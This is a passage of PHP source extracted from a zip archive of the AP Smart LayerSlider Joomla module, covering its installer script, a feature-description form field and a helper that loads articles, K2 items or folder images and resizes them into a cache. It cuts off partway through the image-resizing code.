 * @copyright	Copyright (C) 2019 Aplikko.com. All rights reserved.
 * @license		http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
**/

// no direct access
defined('_JEXEC') or die;

class mod_ap_smart_layersliderInstallerScript {
        /**
         * Method to install the extension
         * $parent is the class calling this method
         * @return void
         */
    function install($parent) {
      echo '
		 <div class="apinstall">
		 <h1><strong>AP Smart LayerSlider Module</strong><span class="pro">PRO</span><small>ver. 3.6</small></h1> 
		 <p><img class="img-rounded" style="float:left;margin:3px 15px 15px 0;" src="../modules/mod_ap_smart_layerslider/admin/images/ap_smart_layerslider.png" />AP Smart LayerSlider is a premium, fully responsive and touch-enabled Joomla module that allows you to create professional, multi-purpose sliders with smooth hardware accelerated transitions. This slider was built with user experience in mind, providing a clean and intuitive user interface in the admin area and a smooth navigation experience for the end-users.</p>
		 <p class="lic">From <a href="http://www.aplikko.com" target="_blank">Aplikko.com</a>.
		 <span class="check" style="float:right;margin-top:-3px;color:white;"><i class="icon-checkmark"></i><a class="hasTooltip" href="index.php?option=com_modules" title="Go to Modules">The installation was successful.</a></span></p>
		 </div>
		 <style type="text/css">
			.apinstall{display:block;margin:0 auto 20px;border:1px solid #ddd;vertical-align:top;padding:0 20px 7px;border-radius:5px;font-family:font-family:"Segoe UI","Myriad Pro",Arial,sans-serif;font-weight:normal;text-align:justify;color:#4d4d4d;line-height:24px;font-size:15px;background-color:#fff}
			.apinstall h1{font-family:Segoe,"Segoe UI","DejaVu Sans","Trebuchet MS",Verdana,Arial,sans-serif;font-size:25px;padding:15px 9px 15px 7px;border-bottom:1px solid #eee;margin:8px 10px 20px;vertical-align:top;line-height:180%;text-indent:7px;color:#595959;font-size:24px;font-weight:normal!important;border-radius:5px;background:transparent url(../modules/mod_ap_smart_layerslider/admin/images/logo_backend_gray.png) right 26px no-repeat;}
			.apinstall span.pro{font-size:8px;font-family:Arial,sans-serif;line-height:25px;padding:2px 4px 1px;color:#fff;vertical-align:middle;top:0px;margin-left:7px;position:relative;width:auto;border-radius:3px;background-color:#767A83;font-style:normal}
			.apinstall small{font-size:9px;font-family:Arial,sans-serif;line-height:25px;padding:1px 4px 1px;color:#fff;vertical-align:middle;top:0px;margin-left:7px;position:relative;width:auto;border-radius:3px;background-color:#679BB8;font-style:normal}
			.apinstall p{margin:10px 22px 10px;line-height:160%;font-size:114%;text-align:left}
			.apinstall a {color:#679BB8}
			.apinstall p.lic{width;100%;clear:both;border-top:1px solid #eee;margin:30px 24px 20px;padding:26px 3px 10px}
			.apinstall p.lic .check a {color:#777;text-decoration: none;}
			.apinstall p.lic .check a:hover {color:#4784A5}
			.apinstall p.lic .icon-checkmark {background:#85BF2D;border-radius:50%;padding:6px;margin-right:7px;color:#fff;text-shadow:1px 1px 1px rgba(0,0,0,.3);}
		 </style>
		';                
        }
 
        /**
         * Method to uninstall the extension
         * $parent is the class calling this method
         * @return void
         */
        function uninstall($parent) {  
                echo ' 
				<div class="apuninstall alert alert-block fade in">
				 <button type="button" class="close" data-dismiss="alert">&times;</button>
				 <p><strong>AP Smart LayerSlider Module</strong><hr/></p>
				  <p class="lic"><span class="check" style="margin-top:-3px;"><i class="icon-checkmark"></i>The module has been <strong>uninstalled</strong>.</span></p>
				 </div>
				 <style type="text/css">
					.apuninstall{width:520px;margin:0 0 20px 5px;border:1px solid #ddd;vertical-align:top;padding:15px 20px;border-radius:5px;font-family:font-family:"Segoe UI","Myriad Pro",Arial,sans-serif;font-weight:normal;text-align:justify;color:#4d4d4d;line-height:24px;font-size:15px;background-color:#fff}
					.apuninstall .close {margin:3px 15px 0 0;}
					.apuninstall p{margin:0 auto;line-height:160%;font-size:114%;text-align:left}
					.apuninstall hr {border:none;border-bottom:1px solid #eee;width:auto;margin:12px auto 5px;display:block;}
					.apuninstall p.lic{display:block;margin:0 auto;padding:15px 3px 5px 1px}
					.apuninstall p.lic .icon-checkmark {background:#85BF2D;border-radius:50%;padding:6px;margin-right:7px;color:#fff;text-shadow:1px 1px 1px rgba(0,0,0,.3);}
					@media (max-width: 767px){.apuninstall{width:100%!important;}}
				 </style>
				';                
        }
 
        /**
         * Method to update the extension
         * $parent is the class calling this method
         * @return void
         */
        function update($parent) {
			echo '
			 <div class="apinstall">
			 <h1><strong>AP Smart LayerSlider Module</strong><span class="pro">PRO</span><small>ver. 3.6</small></h1> 
		 <p><img class="img-rounded" style="float:left;margin:3px 15px 15px 0;" src="../modules/mod_ap_smart_layerslider/admin/images/ap_smart_layerslider.png" />AP Smart LayerSlider is a premium, fully responsive and touch-enabled Joomla module that allows you to create professional, multi-purpose sliders with smooth hardware accelerated transitions. This slider was built with user experience in mind, providing a clean and intuitive user interface in the admin area and a smooth navigation experience for the end-users.</p>
			 <p class="lic">From <a href="http://www.aplikko.com" target="_blank">Aplikko.com</a>.
			 <span class="check" style="float:right;margin-top:-3px;color:white;"><i class="icon-checkmark"></i><a class="hasTooltip" href="index.php?option=com_modules" title="Go to Modules">The Update was successful.</a></span></p>
			 </div>
			<style type="text/css">
			.apinstall{display:block;margin:0 auto 20px;border:1px solid #ddd;vertical-align:top;padding:0 20px 7px;border-radius:5px;font-family:font-family:"Segoe UI","Myriad Pro",Arial,sans-serif;font-weight:normal;text-align:justify;color:#4d4d4d;line-height:24px;font-size:15px;background-color:#fff}
			.apinstall h1{font-family:Segoe,"Segoe UI","DejaVu Sans","Trebuchet MS",Verdana,Arial,sans-serif;font-size:25px;padding:15px 9px 15px 7px;border-bottom:1px solid #eee;margin:8px 10px 20px;vertical-align:top;line-height:180%;text-indent:7px;color:#595959;font-size:24px;font-weight:normal!important;border-radius:5px;background:transparent url(../modules/mod_ap_smart_layerslider/admin/images/logo_backend_gray.png) right 26px no-repeat;}
			.apinstall span.pro{font-size:8px;font-family:Arial,sans-serif;line-height:25px;padding:2px 4px 1px;color:#fff;vertical-align:middle;top:0px;margin-left:7px;position:relative;width:auto;border-radius:3px;background-color:#767A83;font-style:normal}
			.apinstall small{font-size:9px;font-family:Arial,sans-serif;line-height:25px;padding:1px 4px 1px;color:#fff;vertical-align:middle;top:0px;margin-left:7px;position:relative;width:auto;border-radius:3px;background-color:#679BB8;font-style:normal}
			.apinstall p{margin:10px 22px 10px;line-height:160%;font-size:114%;text-align:left}
			.apinstall a {color:#679BB8}
			.apinstall p.lic{width;100%;clear:both;border-top:1px solid #eee;margin:30px 24px 20px;padding:26px 3px 10px}
			.apinstall p.lic .check a {color:#777;text-decoration: none;}
			.apinstall p.lic .check a:hover {color:#4784A5}
			.apinstall p.lic .icon-checkmark {background:#85BF2D;border-radius:50%;padding:6px;margin-right:7px;color:#fff;text-shadow:1px 1px 1px rgba(0,0,0,.3);}
		 </style>
			';    
        }
 
        /**
         * Method to run before an install/update/uninstall method
         * $parent is the class calling this method
         * $type is the type of change (install, update or discover_install)
         * @return void
         */
        function preflight($type, $parent) {
            //echo '<p>Anything here happens before the installation/update/uninstallation of the module</p>';
        }
        /**
         * Method to run after an install/update/uninstall method
         * $parent is the class calling this method
         * $type is the type of change (install, update or discover_install)
         * @return void
         */
        function postflight($type, $parent) {
            //echo '<p>Anything here happens after the installation/update/uninstallation of the module</p>';
        }
}PK!���.mod_ap_smart_layerslider/admin/description.phpnu&1i�<?php
/**
 * @package 	description.php
 * @author		Aplikko
 * @email		contact@aplikko.com
 * @website		http://aplikko.com
 * @copyright	Copyright (C) 2018 Aplikko.com. All rights reserved.
 * @license		http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
**/

// no direct access
defined('_JEXEC') or die;

jimport('joomla.form.formfield');

class JFormFieldDescription extends JFormField {
	protected $type = 'Description';

	/**
	* Method to get a form field markup for the field input.
	*/
	protected function getInput() {
	
	//$doc = JFactory::getDocument();
	$srcpath = JURI::root(true).'/modules/'.basename(dirname(__DIR__));
	$thumbName = str_replace('mod_', '', basename(dirname(__DIR__)));
	$moduleName = str_replace('_',' ',str_replace('mod_', '', basename(dirname(__DIR__))));
	$moduleName = ucwords($moduleName);
    $moduleName[1] = strtoupper($moduleName[1]);

	return '
    <div class="intro">
		<h2>AP Smart LayerSlider<span class="pro hasTooltip" title="Premium version">PRO</span><span class="version hasTooltip" title="Extension version">ver. 3.6</span><span style="background:#D85D50;margin-left:7px;" class="pro hasTooltip" title="Joomla module">M</span></h2>
		<p>AP Smart LayerSlider is a premium, fully responsive and touch-enabled Joomla module that allows you to create professional, multi-purpose sliders with smooth hardware accelerated transitions. This slider was built with user experience in mind, providing a clean and intuitive user interface in the admin area and a smooth navigation experience for the end-users.
</p>
		<h4 class="features">Main Features:</h4>
		<ul>
			<li><i class="fa fa-check-square-o"></i><strong>CSS3 Transitions</strong>. Fast, accelerated CSS3 animations. All animations in the slider are powered by CSS3 transitions, ensuring the smoothest animations that are possible at the moment.</li>
			<li><i class="fa fa-check-square-o"></i><strong>Animated Layers</strong>. Layers can be both animated and static and they can hold any HTML content. Also, layers can be scaled down automatically or with CSS.</li>
			<li><i class="fa fa-check-square-o"></i><b>Touch-swipe</b>. The slider\'s touch-swipe capabilities provides a native-like navigation experience on touch-screen devices. Swipe gestures are enabled for desktop devices as well. </li>
			</li>
			<li><i class="fa fa-check-square-o"></i><b>Fully Responsive</b>. AP Smart LayerSlider is responsive by default. Not only the images will scale down, but the animated layers (where you can add any content) will be scaled down automatically as well.</li>
			<li><i class="fa fa-check-square-o"></i>Chosen <b>Image Folder</b>. Use images from specific folder in admin, re-order and customize easily (custom title, desription, link).</li>
			<li><i class="fa fa-check-square-o"></i><b>CSS-only controls</b> All the navigation controls (i.e., arrows, bullets) are CSS-only (no graphics).</li>
			<li><i class="fa fa-check-square-o"></i><b>Smart Video Support</b>. Videos inside the slider will be controlled automatically. For example, when a video starts playing, the autoplay stops, or, when another slide is selected, the video stops.</li>         
			<li class="page-scroll"><i class="fa fa-check-square-o"></i><b>Thumbnails</b>. Thumbnails can contain text, images or both. Also, they can be positioned at top, bottom, left or right of the slides.
			</li>
			<li><i class="fa fa-check-square-o"></i><b>Lazy Loading</b>. Enables the loading of images only when they are in a visible area, thus saving bandwidth and speeding up the initial page load.</li>
			<li><i class="fa fa-check-square-o"></i><b>Auto Height</b>. The height of the slider can be set to adjust automatically to the full height of the currently selected slide.</li>
			<li><i class="fa fa-check-square-o"></i><b>Keyboard Navigation</b>. Slides can be navigated by using the keyboard arrow keys. Also, if a slide contains a link it can be activated by using the Enter key.</li>
			<li><i class="fa fa-check-square-o"></i><b>Rendering images</b> via php resize (custom width/height.)</li>
			<li><i class="fa fa-check-square-o"></i><b>Full-screen Support</b>. The slider can be viewed in full-screen mode in all browsers that support the HTML5 Full Screen.</li>
			<li><i class="fa fa-check-square-o"></i><b>5 Custom Styles</b> included.</li>
			<li><i class="fa fa-check-square-o"></i><b>Dynamic Images</b>. Loads images from specific folder.</li>
			<li><i class="fa fa-check-square-o"></i><b>HTML5 Uploader</b>. You can upload multiple images into specific folder, using HTML5 uploader.</li>
			<li><i class="fa fa-check-square-o"></i><b>Dynamic Content</b>. Easily load content from your Joomla or K2 articles (i.e., article\'s image, title, descriptions, etc.). You can even combine multiple content types in the same slider.</li>
		</ul>
		<div class="license">
			<img class="img-rounded" style="width:110px;height:auto;float:left;margin:0 20px 0 20px;" src="'.$srcpath.'/admin/images/'.$thumbName.'.png" alt="" />
			<span class="title">AP Smart LayerSlider Module<span class="pro">PRO</span><small style="color:#fff;">ver. 3.6</small><br /><br /></span>
			<div class="getmore">Get more extensions from Aplikko <a class="hasTooltip" title="Aplikko Extensions Page" href="http://www.aplikko.com/joomla-extensions" target="_blank">extensions</a> page.<br />Powerfully simple! From <a href="http://www.aplikko.com" target="_blank">Aplikko.com</a>.</div>
		</div>  
    </div>
	';	
	}
	
	
	/**
	 * Method to get a control group with label and input.
	 * @since   3.2
	 */
	public function renderField($options = array()) {
	  return $this->getInput();
 	}
	
}PK!�<�t=Z=Z#mod_ap_smart_layerslider/helper.phpnu&1i�<?php
/**
 * AP Smart LayerSlider Module
 * @author		Aplikko
 * @email		contact@aplikko.com
 * @website		http://aplikko.com
 * @copyright	Copyright (C) 2019 Aplikko.com. All rights reserved.
 * @license		http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
**/

// no direct access
defined('_JEXEC') or die;

require_once JPATH_SITE . '/components/com_content/helpers/route.php';

JModelLegacy::addIncludePath(JPATH_SITE . '/components/com_content/models', 'ContentModel');

class modApSmartLayersliderHelper {

	public static function getList($params) {
		$data = array();
		$display_form = strtolower($params->get('display_form', 'joomla_content'));
		if ($display_form == 'joomla_content') {
			if ($params->get('enable_cache')) {
				$cache = JFactory::getCache();
				$cache->setCaching(true);
				$cache->setLifeTime($params->get('cache_time', 30) * 60);
				$rows = $cache->get(array((new self()), 'getListArticles'), array($params));
			} else {
				$data = self::getListArticles($params);
			}
		} else if ($display_form == 'k2') {
			if ($params->get('enable_cache')) {
				$cache = JFactory::getCache();
				$cache->setCaching(true);
				$cache->setLifeTime($params->get('cache_time', 30) * 60);
				$rows = $cache->get(array((new self()), 'getK2Items'), array($params));
			} else {
				$data = self::getK2Items($params);
			}
		} else if ($display_form == 'folder_image') {
			$data = self::getImageFolder($params);
		}
		return $data;
	}
	/**
	 * Method get list image of folder
	 * 
	 * @param object $params
	 * 
	 * @return array images
	 */
	public static function getImageFolder($params) {
		$list = array();
		$images = new stdClass();
		if ($params->get('path_folder.images')){
			$images = json_decode($params->get('path_folder.images'));
		}
		$folder = $params->get('path_folder.folder');
		
		foreach ($images as $image){
			$image->description = $image->description;
			$image->image = self::renderImage($image->title, $image->caption,$folder.'/'.$image->image, $params, $params->get('image_width', 400), $params->get('image_height', 300));
		    $image->thumb = self::renderImage($image->title, $image->caption,$folder.'/'.$image->image, $params, $params->get('thumbnailWidth', 90), $params->get('thumbnailHeight', 70));
			$list[$image->position] = $image;
		}
		ksort($list);
		return $list;

	}
	
	/**
	 * Method get list k2 items follow setting configuration.
	 *
	 * @param JParameter $param
	 * @return array
	 */
	public static function getK2Items($params) {
		if (class_exists('K2Model')) {
			if (file_exists(JPATH_SITE . '/components/com_k2/helpers/route.php')) {
				require_once (JPATH_SITE . '/components/com_k2/helpers/route.php');
			}
			jimport('joomla.image.image');
			jimport('joomla.filesystem.file');
			jimport('joomla.filesystem.folder');
			$app = JFactory::getApplication();

			$user = JFactory::getUser();
			$db = JFactory::getDbo();

			$jnow = JFactory::getDate();
			$now = $jnow->toSql();
			$nullDate = $db->getNullDate();

			$query = $db->getQuery(true);

			$cid = $params->get('k2catid', null);


			$query->select('i.*,CASE WHEN i.modified = 0 THEN i.created ELSE i.modified END as lastChanged,c.alias AS categoryalias')
					->from('#__k2_items AS i')
					->leftJoin('#__k2_categories AS c ON c.id = i.catid')
					->where('i.published = 1 AND i.trash = 0 AND c.published = 1 AND c.trash = 0 ')
					->where("i.access IN(" . implode(',', $user->getAuthorisedViewLevels()) . ") AND c.access IN(" . implode(',', $user->getAuthorisedViewLevels()) . ")");

			if ($app->getLanguageFilter()) {
				$languageTag = JFactory::getLanguage()->getTag();
				$query->where("c.language IN (" . $db->Quote($languageTag) . ", " . $db->Quote('*') . ") AND i.language IN (" . $db->Quote($languageTag) . ", " . $db->Quote('*') . ")");
			}

			if (!is_null($cid)) {
				$itemListModel = K2Model::getInstance('Itemlist', 'K2Model');
				if (!is_array($cid)) {
					$categories = $itemListModel->getCategoryTree($cid);
				} else {
					$categories = $itemListModel->getCategoryTree($cid);
				}
				$query->where('c.id IN (' . implode(',', $categories) . ')');
			}
			
			$model =  K2Model::getInstance('Item', 'K2Model');
			
			if($params->get('feature',0)){
				$query->where('i.featured = 1');
			}
			
			$query->where("( i.publish_up = " . $db->Quote($nullDate) . " OR i.publish_up <= " . $db->Quote($now) . ")")
					->where("(i.publish_down = " . $db->Quote($nullDate) . " OR i.publish_down >= " . $db->Quote($now) . " )");
			
			$ordering = $params->get('sort_order_field', 'id');

			switch ($ordering)
			{

				case 'date' :
					$orderby = 'i.created ASC';
					break;

				case 'rdate' :
					$orderby = 'i.created DESC';
					break;

				case 'alpha' :
					$orderby = 'i.title';
					break;

				case 'ralpha' :
					$orderby = 'i.title DESC';
					break;

				case 'order' :
					$orderby = 'i.ordering ASC';
					break;

				case 'rorder' :
					$orderby = 'i.ordering DESC';
					break;

				case 'hits' :
					$orderby = 'i.hits DESC';
					break;

				case 'rand' :
					$orderby = 'RAND()';
					break;
					
				case 'modified' :
					$orderby = 'lastChanged DESC';
					break;

				case 'publish_up' :
					$orderby = 'i.publish_up DESC';
					break;
					
				case 'id':
				default :
					$orderby = 'i.id DESC';
				break;
			}
			$query->order($orderby);
			$db->setQuery($query, 0, $params->get('count', 5));

			$items = $db->loadObjectList();
	
			foreach ($items as $item) {
				$item->image = '';
				$item->caption = urldecode(JRoute::_(K2HelperRoute::getItemRoute($item->id . ':' . urlencode($item->alias), $item->catid . ':' . urlencode($item->categoryalias))));
				
				if ($params->get('show_image', 1)) {
					if (JFile::exists(JPATH_SITE . '/media/k2/items/src/' . md5("Image" . $item->id) . '.jpg')) {
						
						$image = 'media/k2/items/src/' . md5("Image" . $item->id) . '.jpg';
						
						$item->image = self::renderImage($item->title, $item->caption, $image, $params, $params->get('image_width'), $params->get('image_height'));
						$item->thumb = self::renderImage($item->title, $item->caption, $image, $params, $params->get('thumbnailWidth'), $params->get('thumbnailHeight'));
					} else {
						$item->image = '';
					}
				}
			$item->rtitle = self::trimChar($item->title,$params->get('title_max_char',-1));
			$item->description = self::trimChar($item->introtext, $params->get('description_max_chars', 70)); 
		    $item->description = $item->introtext; // (equal)
			$item->num_comments = $model->countItemComments($item->id);
			$item->num_votes = $model->getVotesNum($item->id);
			$item->votingPercentage = $model->getVotesPercentage($item->id);

				// Strip/Allow Tags for K2
				  if ($params->get('strip_tags') != 0) {
					$item->description = strip_tags($item->introtext, '<a><p><h1><h2><h3><h4><h5><h6><img><em><span><div><i><button><b><br><hr><strong><video><source><track><audio>');
				  }
				}
			return $items;			
		}
		return array();
	}

	/**
	 * Method get list articles
	 * @param array $params
	 * 
	 * @return array $items
	 */
	public static function getListArticles($params) {

		$dispatcher = JEventDispatcher::getInstance();

		// Get the dbo
		$db = JFactory::getDbo();

		// Get an instance of the generic articles model
		$model = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' => true));

		// Set application parameters in model
		$app = JFactory::getApplication();
		$appParams = $app->getParams();
		$model->setState('params', $appParams);

		// Set the filters based on the module params
		$model->setState('list.start', 0);
		$model->setState('list.limit', (int) $params->get('count', 5));
		$model->setState('filter.published', 1);
		
		//Feature filter
		if($params->get('feature',0)){
			$model->setState('filter.featured','only');
		}
		
		// Access filter
		$access = !JComponentHelper::getParams('com_content')->get('show_noauth');
		$authorised = JAccess::getAuthorisedViewLevels(JFactory::getUser()->get('id'));
		$model->setState('filter.access', $access);

		// Category filter
		$model->setState('filter.category_id', $params->get('catid', array()));

		// Filter by language
		$model->setState('filter.language', $app->getLanguageFilter());

		$ordering = $params->get('sort_order_field', 'created');
		//$dir = $params->get('sort_order', 'DESC');
		switch ($ordering)
		{

			case 'date' :
				$orderby = 'a.created';
				$dir = 'ASC';
				break;

			case 'rdate' :
				$orderby = 'a.created';
				$dir = 'DESC';
				break;

			case 'alpha' :
				$orderby = 'a.title';
				$dir = 'ASC';
				break;

			case 'ralpha' :
				$orderby = 'a.title';
				$dir = 'DESC';
				break;

			case 'order' :
				$orderby = 'a.ordering';
				$dir = 'ASC';
				break;

			case 'rorder' :
				$orderby = 'a.ordering';
				$dir = 'DESC';
				break;

			case 'hits' :
				$orderby = 'a.hits';
				$dir = 'DESC';
				break;

			case 'rand' :
				$orderby = 'RAND()';
				$dir = '';
				break;
				
			case 'modified' :
				$orderby = 'modified';
				$dir = 'DESC';
				break;

			case 'publish_up' :
				$orderby = 'a.publish_up';
				$dir = 'DESC';
				break;
				
			case 'id':
			default :
				$orderby = 'a.id';
				$dir = 'DESC';
			break;
		}
			
		$model->setState('list.ordering',$orderby);
		$model->setState('list.direction', $dir);

		$items = $model->getItems();

		foreach ($items as $item) {
			$item->text = $item->introtext;
			$item->num_comments = '';
			$item->num_votes = '';
			$item->votingPercentage = '';
			$item->introtext = $item->text;
			$item->slug = $item->id . ':' . $item->alias;
			$item->catslug = $item->catid . ':' . $item->category_alias;

			if ($access || in_array($item->access, $authorised)) {
				// We know that user has the privilege to view the article
				$item->caption = JRoute::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catslug));
			} else {
				$item->caption = JRoute::_('index.php?option=com_users&view=login');
			}
			$item->image = '';
			if ($params->get('show_image', 1)) {
				$image = self::parseImages($item, $params);
				if ($image) {
					$item->image = self::renderImage($item->title, $item->caption, $image, $params, $params->get('image_width'), $params->get('image_height'));
				   $item->thumb = self::renderImage($item->title, $item->caption, $image, $params, $params->get('thumbnailWidth'), $params->get('thumbnailHeight'));
				} else {
					$item->image = '';
				}
			}
			$item->rtitle = self::trimChar($item->title,$params->get('title_max_char',-1));
			$item->description = self::trimChar($item->introtext, $params->get('description_max_chars', 70)); 
			
		    $item->description = $item->introtext; // (equal)
			
			// Strip/Allow Tags for Joomla articles
				  if ($params->get('strip_tags') != 0) {
					$item->description = strip_tags($item->introtext, '<a><p><h1><h2><h3><h4><h5><h6><img><em><span><div><i><button><b><br><hr><strong><video><source><track><audio>');
				  }
				}
			return $items;
	}

	/**
	 * parser a image in the content.
	 * @param object $row object content
	 * @param object $params
	 * @return string image
	 */
	public static function parseImages($row, $params, $context = 'joomla_content') {

		//check if there is image intro or image fulltext  
		$images = "";
		if (isset($row->images)) {
			$images = json_decode($row->images);
		}
		if ((isset($images->image_fulltext) and !empty($images->image_fulltext)) || (isset($images->image_intro) and !empty($images->image_intro))) {
			$image = (isset($images->image_intro) and !empty($images->image_intro)) ? $images->image_intro : ((isset($images->image_fulltext) and !empty($images->image_fulltext)) ? $images->image_fulltext : "");
			return $image;
		} else {
			$text = $row->introtext;
			$regex = "/\<img.+?src\s*=\s*[\"|\']([^\"]*)[\"|\'][^\>]*\>/";
			preg_match($regex, $text, $matches);
			$images = (count($matches)) ? $matches : array();
			if (count($images)) {
				return $images[1];
			}
		}
		return false;
	}





	/**
	 * Render image before display it
	 * 
	 * @param string $title
	 * @param string $caption
	 * @param string $image
	 * @param object $params
	 * @param int $width
	 * @param int $height
	 * @param string $attrs
	 * @param string $returnURL
	 * 
	 * @return string image
	 */
	public static function renderImage($title, $caption, $image, $params, $width = 0, $height = 0, $attrs = '', $returnURL = false, $class = null) {
		if ($image) {
			$title = strip_tags($title);
			$mainimageMode = $params->get('mainimage_mode', 'crop');
			$thumbs_mode = $params->get('thumbs_mode', 'crop');
			$aspect = $params->get('use_ratio', '1');
			$thumbaspect = $params->get('thumbratio', '1');
			$crop = $mainimageMode == 'crop' ? true : false;
			$thumbcrop = $thumbs_mode == 'crop' ? true : false;
			$imageHelper = ApImageHelper::getInstance();

		if ($mainimageMode != 'none' && $imageHelper->sourceExited($image)) {
				$imageURL = $imageHelper->resize($image, $width, $height, $crop, $thumbcrop, $aspect);
				if ($returnURL) {

					return $imageURL;
				}
				if ($imageURL != $image && $imageURL) {
					// Render Image mode = Crop / Resize
					$image = ''.$imageURL.'" alt="'.$title.'';
				} else {
					$image = ''.$image.'" alt="'.$title.'';
				}
			} else {
				if ($returnURL) {
					return $image.'" alt="'.$title.'';
				}
				// Render Image mode = 'No' (original image)
					return $image.'" alt="'.$title.'';	
			}
		} else {
			$image = '';
		}
		// clean up globals
		return $image;
	}

	/**
	 * Method trim string with max specify
	 * @param string $string
	 * @param int $maxChar
	 * 
	 * @return string
	 */
	public static function trimChar($string, $maxChar = 50) {

		if ($maxChar == '-1')
			return strip_tags($string);

		if ($maxChar == 0)
			return '';

		if (strlen($string) > $maxChar)
			return JString::substr(strip_tags($string), 0, $maxChar) . ' ';

		return $string;
	}

}

if (!class_exists('ApImageHelper')) {
	if (!defined('DS'))
		define('DS', DIRECTORY_SEPARATOR);

	jimport('joomla.filesystem.file');
	jimport('joomla.filesystem.folder');
	
	
	class ApImageHelper {



		/**
		 * Identifier of the cache path.
		 *
		 * @access private
		 * @param string $_cachePath
		 */
		var $_cachePath;

		/**
		 * Identifier of the path of source.
		 *
		 * @access private
		 * @param string $_imageBase
		 */
		var $_imageBase;

		/**
		 * Identifier of the image's extensions
		 *
		 * @access public
		 * @param array $types
		 */
		var $types = array();

		/**
		 * Identifier of the quantity of mainimage image.
		 *
		 * @access public
		 * @param string $_quality
		 */
		var $_quality = 90;

		/**
		 * Identifier of the url of folder cache.
		 *
		 * @access public
		 * @param string $_cacheURL
		 */
		var $_cacheURL;
		/**
		 * constructor
		 */
		 
		function __construct() {
			$filefolder = substr(md5(basename(dirname(__FILE__))),1,10);
			$this->types = array(1 => "gif", "jpeg", "png", "swf", "psd", "wbmp");
			$this->_imageBase = JPATH_SITE . DS . '/images' . DS;
			//$this->_cachePath = JPATH_CACHE . DS .md5(basename(dirname(__FILE__))). DS;
			//$this->_cacheURL = JURI::base().'cache/'.md5(basename(dirname(__FILE__))).'/';	
			$this->_cachePath = JPATH_CACHE . DS .$filefolder. DS;
			$this->_cacheURL = JURI::base().'cache/'.$filefolder.'/';		
		}

		/**
		 * get a instance of NooImageHelper object.
		 *
		 * This method must be invoked as:
		 * <pre>  $NooImageHelper = &NooImageHelper::getInstace();</pre>
		 *
		 * @static.
		 * @access public,
		 */
		public static function &getInstance() {
			static $instance = null;
			if (!$instance) {
				$instance = new ApImageHelper();
			}
			return $instance;
		}

		/**
		 * crop or resize image
		 *
		 *
		 * @param string $image path of source.
		 * @param integer $width width of mainimage
		 * @param integer $height height of mainimage
		 * @param boolean $aspect whether to render mainimage base on the ratio
		 * @param boolean $crop whether to use crop image to render mainimage.
		 * @access public,
		 */
		function resize($image, $width, $height, $crop = true, $aspect = true) {
			// get image information


			if (!$width || !$height)
				return '';

			$image = str_replace(JURI::base(), '', $image);
		

			$imagSource = JPATH_SITE . DS . str_replace('/', DS, $image);

			if (!file_exists($imagSource) || !is_file($imagSource)) {
				return '';
			}
			$filetime = filemtime($imagSource);
			$size = getimagesize($imagSource);
			// if it's not a image.
			if (!$size) {
				return '';
			}

			// case 1: render image base on the ratio of source.
			$x_ratio = $width / $size[0];
			$y_ratio = $height / $size[1];

			// set dst, src
			$dst = new stdClass();
			$src = new stdClass();
			$src->y = $src->x = 0;
			$dst->y = $dst->x = 0;

			if ($width > $size[0])
				$width = $size[0];
			if ($height > $size[1])
				$height = $size[1];

			if ($crop) { // processing crop image
				$dst->w = $width;
				$dst->h = $height;
				if (($size[0] <= $width) && ($size[1] <= $height)) {
					$src->w = $width;
					$src->h = $height;
				} else {
					if ($x_ratio < $y_ratio) {
						$src->w = ceil($width / $y_ratio);
						$src->h = $size[1];
					} else {
						$src->w = $size[0];
						$src->h = ceil($height / $x_ratio);
					}
				}
				$src->x = floor(($size[0] - $src->w) / 2);
				$src->y = floor(($size[1] - $src->h) / 2);
			} else { // processing resize image.
				$src->w = $size[0];
				$src->h = $size[1];
				if ($aspect) { // using ratio
					if (($size[0] <= $width) && ($size[1] <= $height)) {
						$dst->w = $size[0];
						$dst->h = $size[1];
					} else if (($size[0] <= $width) && ($size[1] <= $height)) {
						$dst->w = $size[0];
						$dst->h = $size[1];
					} else if (($x_ratio * $size[1]) < $height) {
						$dst->h = ceil($x_ratio * $size[1]);
						$dst->w = $width;
					} else {
						$dst->w = ceil($y_ratio * $size[0]);
						$dst->h = $height;
					}
				} else { // resize image without the ratio of source.
					$dst->w = $width;
					$dst->h = $height;
				}
			}
			//			
			$ext = substr(strrchr($image, '.'), 1);
			$filemd5 = substr(md5($ext),1,10);
			$mainimage = substr($image, 0, strpos($image, '.')) . "-" . $filemd5 . "_{$width}x{$height}." . $ext;
			$imageCache = $this->_cachePath . str_replace('/', DS, $mainimage);

			if (file_exists($imageCache)) {
				$filetimecache = filemtime($imageCache);
				if ($filetime < $filetimecache) {
					$smallImg = getimagesize($imageCache);
					if (($smallImg[0] == $dst->w && $smallImg[1] == $dst->h)) {
						return $this->_cacheURL . $mainimage;
					}
				}
			}

			if (!file_exists($this->_cachePath) && !JFolder::create($this->_cachePath)) {
				return '';
			}

			if (!$this->makeDir($image)) {
				return '';
			}

			// resize image
			$this->_resizeImage($imagSource, $src, $dst, $size, $imageCache);

			return $this->_cacheURL . $mainimage;
		}

		/**
		 * check the folder is existed, if not make a directory and set permission is 755
		 *
		 *
		 * @param array $path
		 * @access public,
		 * @return boolean.
		 */
		function makeDir($path) {
			$folders = explode('/', ($path));
			$tmppath = $this->_cachePath;
			for ($i = 0; $i < count($folders) - 1; $i++) {
				if (!file_exists($tmppath . $folders[$i]) && !JFolder::create($tmppath . $folders[$i], 0755)) {
					return false;
				}
				$tmppath = $tmppath . $folders[$i] . DS;
			}
			return true;
		}

		/**
		 * process render image
		 *
		 * @param string $imageSource is path of the image source.
		 * @param stdClass $src the setting of image source
		 * @param stdClass $dst the setting of image dts
		 * @param string $imageCache path of image cache ( it's mainimage).
		 * @access public,
		 */
		function _resizeImage($imageSource, $src, $dst, $size, $imageCache) {
			// create image from source.
			$extension = $this->types[$size[2]];
			$image = call_user_func("imagecreatefrom" . $extension, $imageSource);

			if (function_exists("imagecreatetruecolor") && ($newimage = imagecreatetruecolor($dst->w, $dst->h))) {

				if ($extension == 'gif' || $extension == 'png') {
					imagealphablending($newimage, false);
					imagesavealpha($newimage, true);
					$transparent = imagecolorallocatealpha($newimage, 255, 255, 255, 127);
					imagefilledrectangle($newimage, 0, 0, $dst->w, $dst->h, $transparent);
				}

				imagecopyresampled($newimage, $image, $dst->x, $dst->y, $src->x, $src->y, $dst->w, $dst->h, $src->w, $src->h);
			} else {
				$newimage = imagecreate($src->w, $src->h);
